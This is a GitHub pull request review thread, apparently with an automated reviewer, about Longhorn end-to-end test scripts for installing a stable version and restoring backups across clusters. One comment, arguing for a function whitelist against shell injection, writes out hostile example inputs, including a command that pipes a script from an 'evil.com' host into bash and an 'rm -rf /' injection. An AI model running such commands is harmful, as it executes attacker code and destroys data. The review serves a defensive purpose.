There was a problem hiding this comment.
🛠️ Refactor suggestion
Consider using more specific exception types.
The current implementation uses a broad Exception catch. Consider catching specific exceptions like KeyError for missing dictionary keys to handle different error cases appropriately.
Here's a suggested implementation with specific exception handling:
try:
if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id:
return backup
- except Exception as e:
- logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}")
+ except KeyError as e:
+ logging(f"Missing key in backup metadata: {str(e)} for backup {backup['metadata']['name']}")
+ except Exception as e:
+ logging(f"Unexpected error accessing backup {backup['metadata']['name']}: {str(e)}")📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| try: | |
| if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id: | |
| return backup | |
| except Exception as e: | |
| logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}") | |
| try: | |
| if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id: | |
| return backup | |
| except KeyError as e: | |
| logging(f"Missing key in backup metadata: {str(e)} for backup {backup['metadata']['name']}") | |
| except Exception as e: | |
| logging(f"Unexpected error accessing backup {backup['metadata']['name']}: {str(e)}") |
🧰 Tools
🪛 Ruff
59-59: Local variable
eis assigned to but never usedRemove assignment to unused variable
e(F841)
chriscchien
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Actionable comments posted: 2
🧹 Outside diff range and nitpick comments (1)
e2e/utilities/longhorn-install.sh (1)
16-17: Add error handling for directory creation.The script creates directories but doesn't validate the operation's success.
LONGHORN_REPO_DIR="${TMPDIR}/longhorn" LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"} -mkdir -p ${TMPDIR} +mkdir -p "${TMPDIR}" || { + echo "Error: Failed to create temporary directory" + exit 1 +}
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
📒 Files selected for processing (12)
- e2e/keywords/longhorn.resource (1 hunks)
- e2e/keywords/volume.resource (2 hunks)
- e2e/libs/backup/rest.py (1 hunks)
- e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
- e2e/libs/longhorn_deploy/base.py (3 hunks)
- e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
- e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
- e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
- e2e/libs/utility/constant.py (1 hunks)
- e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
- e2e/utilities/longhorn-install.sh (2 hunks)
- pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
✅ Files skipped from review due to trivial changes (1)
- e2e/libs/utility/constant.py
🚧 Files skipped from review as they are similar to previous changes (8)
- e2e/keywords/longhorn.resource
- e2e/libs/backup/rest.py
- e2e/libs/keywords/longhorn_deploy_keywords.py
- e2e/libs/longhorn_deploy/longhorn_deploy.py
- e2e/libs/longhorn_deploy/longhorn_helm_chart.py
- e2e/libs/longhorn_deploy/longhorn_kubectl.py
- e2e/tests/negative/pull_backup_from_another_longhorn.robot
- pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
🔇 Additional comments (10)
e2e/libs/longhorn_deploy/base.py (4)
7-7: LGTM!The new constant import follows the existing import pattern and is appropriately placed with other constants.
23-23: LGTM!The signature change to support stable version uninstallation aligns with the PR objectives and maintains backward compatibility.
33-34: Refer to previous review comment about robust log parsing.
46-56: LGTM! Error handling improvements implemented as suggested.The error handling now consistently logs both stdout and stderr, providing better visibility into installation failures.
e2e/utilities/longhorn-install.sh (4)
28-35: Previous review comment is still applicable.The function needs validation for LONGHORN_STABLE_VERSION, cleanup of existing repo directory, and error handling for git/helm operations.
37-41: Previous review comment is still applicable.The redundant assignment should be removed and validation for LONGHORN_STABLE_VERSION should be added.
66-70: Previous review comment is still applicable.The implementation needs validation for function names to prevent security risks.
42-53: Previous review comment is still applicable.The script uses TF_VAR_tf_workspace without validation. The static analysis tool confirms this issue.
🧰 Tools
🪛 Shellcheck
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
e2e/keywords/volume.resource (2)
94-96: LGTM! Well-structured keyword for MB-specific data writes.The implementation follows the established pattern and provides useful granularity for data size control in MB units, complementing the existing GB-based keyword.
287-290: Verify backup restoration configuration and error handling.While the implementation aligns with the PR objectives for cross-cluster backup testing, please consider the following:
- The keyword relies on the global
${backups_before_uninstall}variable. Ensure this variable is properly initialized and documented in the test setup.- Consider adding optional parameters for volume configuration (size, replica count) to match the source volume's configuration.
- Add error handling for cases where the backup is not found in the list.
e2e/libs/longhorn_deploy/base.py
Outdated
| def install_longhorn(self, is_stable_version=False): | ||
| current_path=os.getcwd() | ||
| full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH) | ||
|
|
||
| if is_stable_version is True: | ||
| cmd = ['bash', full_path, LONGHORN_INSTALL_STABLE_SHELL_FUNCTION] | ||
| else: | ||
| cmd = ['bash', full_path] | ||
|
|
There was a problem hiding this comment.
🛠️ Refactor suggestion
Add input validation for the installation script path.
While the command construction is correct, consider adding validation to ensure the installation script exists before execution:
def install_longhorn(self, is_stable_version=False):
current_path=os.getcwd()
full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH)
+ if not os.path.isfile(full_path):
+ raise FileNotFoundError(f"Longhorn installation script not found at: {full_path}")📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| def install_longhorn(self, is_stable_version=False): | |
| current_path=os.getcwd() | |
| full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH) | |
| if is_stable_version is True: | |
| cmd = ['bash', full_path, LONGHORN_INSTALL_STABLE_SHELL_FUNCTION] | |
| else: | |
| cmd = ['bash', full_path] | |
| def install_longhorn(self, is_stable_version=False): | |
| current_path=os.getcwd() | |
| full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH) | |
| if not os.path.isfile(full_path): | |
| raise FileNotFoundError(f"Longhorn installation script not found at: {full_path}") | |
| if is_stable_version is True: | |
| cmd = ['bash', full_path, LONGHORN_INSTALL_STABLE_SHELL_FUNCTION] | |
| else: | |
| cmd = ['bash', full_path] | |
e2e/utilities/longhorn-install.sh
Outdated
| } | ||
|
|
||
| install_longhorn | ||
| if [[ $# -gt 0 ]]; then |
There was a problem hiding this comment.
Could you elaborate on why this is needed?
There was a problem hiding this comment.
@yangchiu, From file libs/longhorn_deploy/base.py of this PR, a new statement has been added to utilize longhorn-install.sh to install longhorn stable version.
longhorn-install.shis run with no arguments, theinstall_longhornfunction is called which is the default design as before.longhorn-install.shis run with an argument, the function named by the argument is executed, in this test case,install_longhorn_stable_versionwill be executed to perform steps for keywordThen Install Longhorn stable version
def install_longhorn(self, is_stable_version=False):
current_path=os.getcwd()
full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH)
if is_stable_version is True:
cmd = ['bash', full_path, LONGHORN_INSTALL_STABLE_SHELL_FUNCTION]
else:
cmd = ['bash', full_path]There was a problem hiding this comment.
@chriscchien Why do we need to pass the function name from robot test code? What would be the drawback of letting the shell script handle it, like:
if [[ -n "${LONGHORN_STABLE_VERSION}" ]]; then
install_longhorn_stable_version
else
install_longhorn
fi
There was a problem hiding this comment.
@yangchiu, test case Uninstallation Checks also uses longhorn-install.sh to install Longhorn test version. If the script use environment variable to determin which version to install, this will result in Uninstallation Checks and Pull backup created by another Longhorn system can not running on the same environment.
There was a problem hiding this comment.
What about the following?
IS_INSTALL_STABLE_VERSION="${1:-false}"
if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then
# do something
fi
Do you think it's more readable?
There was a problem hiding this comment.
Current code, run function name as first argument if the argument exist
./longhorn-install.sh install_longhorn_stable_versionsuggestion (if I understand correctly)
./longhorn-install.sh trueJust think if enhance comment for more clear realize the scope as below is acceptable? if not, I will use the suggestion, thank you.
# Check if an argument is passed
if [[ $# -gt 0 ]]; then
# Run the function specified in the first argument,
# ex: ./longhorn-install.sh install_longhorn_stable_version
$1
else
# Run the default install_longhorn function if no argument is provided
install_longhorn
fiThere was a problem hiding this comment.
How about the following:
IS_INSTALL_STABLE_VERSION=true ./longhorn-install.sh
Can the shell script get the variable?
There was a problem hiding this comment.
Updated and tested.
chriscchien
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Actionable comments posted: 6
🧹 Outside diff range and nitpick comments (1)
e2e/keywords/volume.resource (1)
287-290: Consider improving robustness of backup handling.While the implementation aligns with the PR objectives for cross-cluster backup testing, there are a few areas that could be enhanced:
The keyword relies on the global variable
${backups_before_uninstall}which could make tests brittle. Consider:
- Passing the backup list as a parameter
- Adding validation for the variable's existence
- Documenting the variable's setup requirements
Add error handling for backup URL retrieval failures to provide better test feedback.
Example enhancement:
Create volume ${volume_id} from backup ${backup_id} in another cluster ${volume_name} = generate_name_with_suffix volume ${volume_id} + Variable Should Exist ${backups_before_uninstall} msg=Backup list not initialized ${backup_url} = get_backup_url_from_backup_list ${backups_before_uninstall} ${backup_id} + Should Not Be Empty ${backup_url} msg=Failed to retrieve backup URL for ${backup_id} create_volume ${volume_name} fromBackup=${backup_url}
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
📒 Files selected for processing (12)
e2e/keywords/longhorn.resource(1 hunks)e2e/keywords/volume.resource(2 hunks)e2e/libs/backup/rest.py(1 hunks)e2e/libs/keywords/longhorn_deploy_keywords.py(1 hunks)e2e/libs/longhorn_deploy/base.py(3 hunks)e2e/libs/longhorn_deploy/longhorn_deploy.py(1 hunks)e2e/libs/longhorn_deploy/longhorn_helm_chart.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_kubectl.py(2 hunks)e2e/libs/utility/constant.py(1 hunks)e2e/tests/negative/pull_backup_from_another_longhorn.robot(1 hunks)e2e/utilities/longhorn-install.sh(2 hunks)pipelines/utilities/run_longhorn_e2e_test.sh(2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
- e2e/keywords/longhorn.resource
- e2e/libs/backup/rest.py
- e2e/libs/keywords/longhorn_deploy_keywords.py
- e2e/libs/longhorn_deploy/longhorn_deploy.py
- e2e/libs/longhorn_deploy/longhorn_helm_chart.py
- e2e/libs/longhorn_deploy/longhorn_kubectl.py
- e2e/libs/utility/constant.py
- e2e/tests/negative/pull_backup_from_another_longhorn.robot
- pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
🔇 Additional comments (6)
e2e/libs/longhorn_deploy/base.py (5)
7-7: LGTM: Import follows consistent pattern
The new constant import is properly placed with other related constants.
33-34: Skipping comment as previous review feedback is still applicable
The existing review comment about using regex for more robust log parsing remains valid.
36-44: LGTM: Clean implementation of stable version support
The conditional logic for command construction is well-implemented. Previous suggestion about installation script validation remains valid.
46-56: LGTM: Improved error handling implementation
The error handling has been enhanced as suggested, providing better visibility into failures during the installation process.
23-23: LGTM: Method signature change aligns with requirements
The new parameter allows for version-specific uninstallation, which is necessary for testing backups between different Longhorn versions as specified in the PR objectives.
✅ Verification successful
✓ Method signature change is correctly propagated
The verification shows that all calls to the uninstall method have been properly updated to include the new is_stable_version parameter in both:
e2e/libs/longhorn_deploy/longhorn_deploy.pye2e/libs/keywords/longhorn_deploy_keywords.py
🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
#!/bin/bash
# Verify that all calls to uninstall method are updated with the new parameter
ast-grep --pattern 'uninstall($$$)'
Length of output: 37
Script:
#!/bin/bash
# Search for uninstall method calls using ripgrep for better coverage
rg "\.uninstall\(" -A 2
Length of output: 493
e2e/keywords/volume.resource (1)
94-96: LGTM! Well-structured keyword implementation.
The new keyword extends existing functionality by adding size parameter control, maintaining consistency with similar keywords while providing more testing flexibility.
e2e/utilities/longhorn-install.sh
Outdated
| LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml" | ||
| install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}" |
There was a problem hiding this comment.
Add URL validation for manifest download.
The manifest URL construction could be vulnerable to path traversal if LONGHORN_STABLE_VERSION contains malicious values.
Add URL validation:
+# Validate manifest URL format
+if [[ ! "${LONGHORN_STABLE_MANIFEST_URL}" =~ ^https://raw\.githubusercontent\.com/longhorn/longhorn/[^/]+/deploy/longhorn\.yaml$ ]]; then
+ echo "Error: Invalid manifest URL format"
+ exit 1
+fi
+
+# Verify HTTPS certificate
+install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}" --insecure=false
-install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}"Committable suggestion skipped: line range outside the PR's diff.
| if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then | ||
| install_longhorn_stable_by_chart | ||
| elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then | ||
| install_longhorn_stable_by_manifest | ||
| fi |
There was a problem hiding this comment.
🛠️ Refactor suggestion
Add validation for LONGHORN_INSTALL_METHOD.
The installation method should be validated before use to prevent undefined behavior.
Add method validation:
+VALID_INSTALL_METHODS=("helm" "manifest")
+if [[ ! " ${VALID_INSTALL_METHODS[@]} " =~ " ${LONGHORN_INSTALL_METHOD} " ]]; then
+ echo "Error: Invalid installation method: ${LONGHORN_INSTALL_METHOD}"
+ echo "Valid methods are: ${VALID_INSTALL_METHODS[*]}"
+ exit 1
+fi
+
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then | |
| install_longhorn_stable_by_chart | |
| elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then | |
| install_longhorn_stable_by_manifest | |
| fi | |
| VALID_INSTALL_METHODS=("helm" "manifest") | |
| if [[ ! " ${VALID_INSTALL_METHODS[@]} " =~ " ${LONGHORN_INSTALL_METHOD} " ]]; then | |
| echo "Error: Invalid installation method: ${LONGHORN_INSTALL_METHOD}" | |
| echo "Valid methods are: ${VALID_INSTALL_METHODS[*]}" | |
| exit 1 | |
| fi | |
| if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then | |
| install_longhorn_stable_by_chart | |
| elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then | |
| install_longhorn_stable_by_manifest | |
| fi |
| git clone --single-branch \ | ||
| --branch "${LONGHORN_STABLE_VERSION}" \ | ||
| "${LONGHORN_REPO_URI}" \ | ||
| "${LONGHORN_REPO_DIR}" |
There was a problem hiding this comment.
Add git clone security measures.
The git clone operation could be vulnerable to command injection if LONGHORN_STABLE_VERSION or LONGHORN_REPO_URI contains malicious values.
Add input validation:
+# Validate version format (e.g., v1.2.3 or master)
+if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^(v[0-9]+\.[0-9]+\.[0-9]+|master)$ ]]; then
+ echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
+ exit 1
+fi
+
+# Validate repo URI against whitelist
+ALLOWED_REPOS=("https://github.com/longhorn/longhorn.git")
+if [[ ! " ${ALLOWED_REPOS[@]} " =~ " ${LONGHORN_REPO_URI} " ]]; then
+ echo "Error: Invalid repository URI"
+ exit 1
+fi
+
git clone --single-branch \📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| git clone --single-branch \ | |
| --branch "${LONGHORN_STABLE_VERSION}" \ | |
| "${LONGHORN_REPO_URI}" \ | |
| "${LONGHORN_REPO_DIR}" | |
| # Validate version format (e.g., v1.2.3 or master) | |
| if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^(v[0-9]+\.[0-9]+\.[0-9]+|master)$ ]]; then | |
| echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}" | |
| exit 1 | |
| fi | |
| # Validate repo URI against whitelist | |
| ALLOWED_REPOS=("https://github.com/longhorn/longhorn.git") | |
| if [[ ! " ${ALLOWED_REPOS[@]} " =~ " ${LONGHORN_REPO_URI} " ]]; then | |
| echo "Error: Invalid repository URI" | |
| exit 1 | |
| fi | |
| git clone --single-branch \ | |
| --branch "${LONGHORN_STABLE_VERSION}" \ | |
| "${LONGHORN_REPO_URI}" \ | |
| "${LONGHORN_REPO_DIR}" |
e2e/utilities/longhorn-install.sh
Outdated
| if [[ $# -gt 0 ]]; then | ||
| $1 # Run the function passed as the first argument | ||
| else | ||
| install_longhorn | ||
| fi |
There was a problem hiding this comment.
💡 Codebase verification
Add function name validation to prevent command injection
Add a whitelist check before executing $1 to only allow the following functions:
- install_longhorn_by_chart
- install_longhorn_stable_by_chart
- install_longhorn_stable_by_manifest
- install_longhorn
- install_longhorn_stable_version
Example fix:
allowed_functions=(
"install_longhorn_by_chart"
"install_longhorn_stable_by_chart"
"install_longhorn_stable_by_manifest"
"install_longhorn"
"install_longhorn_stable_version"
)
if [[ $# -gt 0 ]]; then
if [[ " ${allowed_functions[@]} " =~ " $1 " ]]; then
$1 # Run the whitelisted function
else
echo "Error: Function '$1' is not allowed"
exit 1
fi
else
install_longhorn
fi🔗 Analysis chain
Add function name validation to prevent command injection.
@yangchiu Regarding the previous suggestion about function name validation - this is important because the current implementation directly executes any argument passed to the script. This could allow an attacker to execute arbitrary commands by passing malicious input like "; rm -rf /" or $(malicious_command).
For example:
./longhorn-install.sh '$(curl evil.com/script.sh | bash)'This is a common shell injection vulnerability (CWE-78). We should maintain a whitelist of allowed functions to prevent arbitrary command execution.
Let me check the context of these files to better understand the usage patterns.
Let me check what functions are defined in the longhorn-install.sh script to understand what functions should be in the whitelist.
🏁 Scripts executed
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#!/bin/bash
# Verify if the script is called with potentially dangerous arguments
rg -l '\$1(\s+#|$)' | xargs -I {} sh -c 'echo "Potential command injection in {}:"'
Length of output: 392
Script:
#!/bin/bash
# Check the context of $1 usage in these files
echo "=== e2e/utilities/longhorn-install.sh ==="
rg -A 5 -B 5 '\$1(\s+#|$)' e2e/utilities/longhorn-install.sh
echo -e "\n=== test_tools/gen_data/run.sh ==="
rg -A 5 -B 5 '\$1(\s+#|$)' test_tools/gen_data/run.sh
echo -e "\n=== manager/test_containers/compatibility/generate_version_image.sh ==="
rg -A 5 -B 5 '\$1(\s+#|$)' manager/test_containers/compatibility/generate_version_image.sh
echo -e "\n=== build_engine_test_images/scripts/generate_images.sh ==="
rg -A 5 -B 5 '\$1(\s+#|$)' build_engine_test_images/scripts/generate_images.sh
Length of output: 2450
Script:
#!/bin/bash
# Get all function definitions in longhorn-install.sh
echo "Functions defined in longhorn-install.sh:"
rg '^[a-zA-Z0-9_-]+\(\)' e2e/utilities/longhorn-install.sh
Length of output: 312
|
This pull request is now in conflict. Could you fix it @chriscchien? 🙏 |
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Actionable comments posted: 4
🧹 Outside diff range and nitpick comments (1)
e2e/keywords/volume.resource (1)
94-96: Consider maintaining consistent unit handling across similar keywordsThe new keyword passes the size parameter directly to
write_volume_random_data, while the existing GB variant (Write ${size} GB data to volume ${volume_id}) multiplies by 1024. Consider documenting the unit expectations or implementing consistent unit handling across similar keywords.-Write data ${data_id} ${size} MB to volume ${volume_id} - ${volume_name} = generate_name_with_suffix volume ${volume_id} - write_volume_random_data ${volume_name} ${size} ${data_id} +Write data ${data_id} ${size} MB to volume ${volume_id} + ${volume_name} = generate_name_with_suffix volume ${volume_id} + ${size_in_mb} = Evaluate int(${size}) # Explicit conversion to ensure integer + write_volume_random_data ${volume_name} ${size_in_mb} ${data_id}
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📒 Files selected for processing (12)
e2e/keywords/longhorn.resource(1 hunks)e2e/keywords/volume.resource(2 hunks)e2e/libs/backup/rest.py(1 hunks)e2e/libs/keywords/longhorn_deploy_keywords.py(1 hunks)e2e/libs/longhorn_deploy/base.py(3 hunks)e2e/libs/longhorn_deploy/longhorn_deploy.py(1 hunks)e2e/libs/longhorn_deploy/longhorn_helm_chart.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_kubectl.py(2 hunks)e2e/libs/utility/constant.py(1 hunks)e2e/tests/negative/pull_backup_from_another_longhorn.robot(1 hunks)e2e/utilities/longhorn-install.sh(2 hunks)pipelines/utilities/run_longhorn_e2e_test.sh(2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
- e2e/keywords/longhorn.resource
- e2e/libs/backup/rest.py
- e2e/libs/keywords/longhorn_deploy_keywords.py
- e2e/libs/longhorn_deploy/longhorn_deploy.py
- e2e/libs/longhorn_deploy/longhorn_helm_chart.py
- e2e/libs/longhorn_deploy/longhorn_kubectl.py
- e2e/libs/utility/constant.py
- e2e/tests/negative/pull_backup_from_another_longhorn.robot
- pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
🔇 Additional comments (5)
e2e/libs/longhorn_deploy/base.py (5)
7-7: LGTM: Import aligns with new stable version functionality
The new import follows the existing pattern and supports the stable version installation feature.
23-23: LGTM: Method signature change maintains compatibility
The new parameter is_stable_version with default False maintains backward compatibility while adding support for stable version uninstallation.
33-34: Referring to previous review comment about robust log parsing
46-56: Referring to previous review comment about error handling consistency
40-44: LGTM: Clean implementation of stable version installation logic
The conditional logic for stable version installation is clear and well-structured.
Let's verify the shell function constant is properly defined:
✅ Verification successful
Verified: Shell function constant is properly defined and used
🏁 Scripts executed
The following scripts were executed for the analysis:
Script:
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# Verify the shell function constant exists and is properly defined
rg -l "LONGHORN_INSTALL_STABLE_SHELL_FUNCTION\s*=" --type py
Length of output: 91
Script:
#!/bin/bash
# Extract the definition of LONGHORN_INSTALL_STABLE_SHELL_FUNCTION in e2e/libs/utility/constant.py
rg 'LONGHORN_INSTALL_STABLE_SHELL_FUNCTION\s*=' e2e/libs/utility/constant.py
Length of output: 153
Script:
#!/bin/bash
# Find usages of LONGHORN_INSTALL_STABLE_SHELL_FUNCTION in e2e/libs/longhorn_deploy/base.py
rg 'LONGHORN_INSTALL_STABLE_SHELL_FUNCTION' e2e/libs/longhorn_deploy/base.py
Length of output: 222
| install_longhorn(){ | ||
| create_longhorn_namespace | ||
| install_backupstores | ||
| if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then | ||
| LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"} | ||
| LONGHORN_REPO_DIR="${TMPDIR}/longhorn" | ||
| install_longhorn_by_chart | ||
| elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then | ||
| generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}" |
There was a problem hiding this comment.
🛠️ Refactor suggestion
Add comprehensive workspace validation.
The script uses TF_VAR_tf_workspace without proper validation. While basic existence check was suggested in past reviews, we should also validate the directory structure.
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
+ if [[ -z "${TF_VAR_tf_workspace}" ]]; then
+ echo "Error: TF_VAR_tf_workspace is not set"
+ return 1
+ fi
+ if [[ ! -d "${TF_VAR_tf_workspace}" ]]; then
+ echo "Error: Workspace directory ${TF_VAR_tf_workspace} does not exist"
+ return 1
+ fi
generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}" | |
| if [[ -z "${TF_VAR_tf_workspace}" ]]; then | |
| echo "Error: TF_VAR_tf_workspace is not set" | |
| return 1 | |
| fi | |
| if [[ ! -d "${TF_VAR_tf_workspace}" ]]; then | |
| echo "Error: Workspace directory ${TF_VAR_tf_workspace} does not exist" | |
| return 1 | |
| fi | |
| generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}" |
🧰 Tools
🪛 Shellcheck
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
| install_longhorn_stable_version(){ | ||
| create_longhorn_namespace | ||
| install_backupstores | ||
| if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then | ||
| install_longhorn_stable_by_chart | ||
| elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then | ||
| install_longhorn_stable_by_manifest | ||
| fi | ||
| setup_longhorn_ui_nodeport |
There was a problem hiding this comment.
🛠️ Refactor suggestion
Reduce code duplication and add error handling.
The function duplicates logic from install_longhorn. Consider extracting common functionality and adding proper error handling.
+install_longhorn_common() {
+ if ! create_longhorn_namespace; then
+ echo "Error: Failed to create namespace"
+ return 1
+ fi
+ if ! install_backupstores; then
+ echo "Error: Failed to install backupstores"
+ return 1
+ fi
+}
+
install_longhorn_stable_version(){
- create_longhorn_namespace
- install_backupstores
+ if ! install_longhorn_common; then
+ return 1
+ fi
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
- install_longhorn_stable_by_chart
+ if ! install_longhorn_stable_by_chart; then
+ return 1
+ fi
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
- install_longhorn_stable_by_manifest
+ if ! install_longhorn_stable_by_manifest; then
+ return 1
+ fi
fi
- setup_longhorn_ui_nodeport
+ if ! setup_longhorn_ui_nodeport; then
+ echo "Error: Failed to setup UI nodeport"
+ return 1
+ fi
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| install_longhorn_stable_version(){ | |
| create_longhorn_namespace | |
| install_backupstores | |
| if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then | |
| install_longhorn_stable_by_chart | |
| elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then | |
| install_longhorn_stable_by_manifest | |
| fi | |
| setup_longhorn_ui_nodeport | |
| install_longhorn_common() { | |
| if ! create_longhorn_namespace; then | |
| echo "Error: Failed to create namespace" | |
| return 1 | |
| fi | |
| if ! install_backupstores; then | |
| echo "Error: Failed to install backupstores" | |
| return 1 | |
| fi | |
| } | |
| install_longhorn_stable_version(){ | |
| if ! install_longhorn_common; then | |
| return 1 | |
| fi | |
| if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then | |
| if ! install_longhorn_stable_by_chart; then | |
| return 1 | |
| fi | |
| elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then | |
| if ! install_longhorn_stable_by_manifest; then | |
| return 1 | |
| fi | |
| fi | |
| if ! setup_longhorn_ui_nodeport; then | |
| echo "Error: Failed to setup UI nodeport" | |
| return 1 | |
| fi | |
| } |
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📒 Files selected for processing (11)
e2e/keywords/longhorn.resource(1 hunks)e2e/keywords/volume.resource(2 hunks)e2e/libs/backup/rest.py(1 hunks)e2e/libs/keywords/longhorn_deploy_keywords.py(1 hunks)e2e/libs/longhorn_deploy/base.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_deploy.py(1 hunks)e2e/libs/longhorn_deploy/longhorn_helm_chart.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_kubectl.py(2 hunks)e2e/tests/negative/pull_backup_from_another_longhorn.robot(1 hunks)e2e/utilities/longhorn-install.sh(2 hunks)pipelines/utilities/run_longhorn_e2e_test.sh(2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
- e2e/keywords/longhorn.resource
- e2e/libs/backup/rest.py
- e2e/libs/keywords/longhorn_deploy_keywords.py
- e2e/libs/longhorn_deploy/base.py
- e2e/libs/longhorn_deploy/longhorn_deploy.py
- e2e/libs/longhorn_deploy/longhorn_helm_chart.py
- e2e/libs/longhorn_deploy/longhorn_kubectl.py
- e2e/tests/negative/pull_backup_from_another_longhorn.robot
- pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh
[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.
(SC2154)
🔇 Additional comments (2)
e2e/utilities/longhorn-install.sh (1)
66-71: LGTM! Clean and straightforward control flow.
The logic for choosing between stable and development versions is clear and well-structured.
e2e/keywords/volume.resource (1)
94-96: LGTM: New keyword provides granular control over data size
The implementation is consistent with existing patterns and provides a useful addition for writing data with MB-level precision.
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📒 Files selected for processing (11)
e2e/keywords/longhorn.resource(1 hunks)e2e/keywords/volume.resource(2 hunks)e2e/libs/backup/rest.py(1 hunks)e2e/libs/keywords/longhorn_deploy_keywords.py(1 hunks)e2e/libs/longhorn_deploy/base.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_deploy.py(1 hunks)e2e/libs/longhorn_deploy/longhorn_helm_chart.py(2 hunks)e2e/libs/longhorn_deploy/longhorn_kubectl.py(2 hunks)e2e/tests/negative/pull_backup_from_another_longhorn.robot(1 hunks)e2e/utilities/longhorn-install.sh(2 hunks)pipelines/utilities/run_longhorn_e2e_test.sh(2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
- e2e/keywords/longhorn.resource
- e2e/libs/backup/rest.py
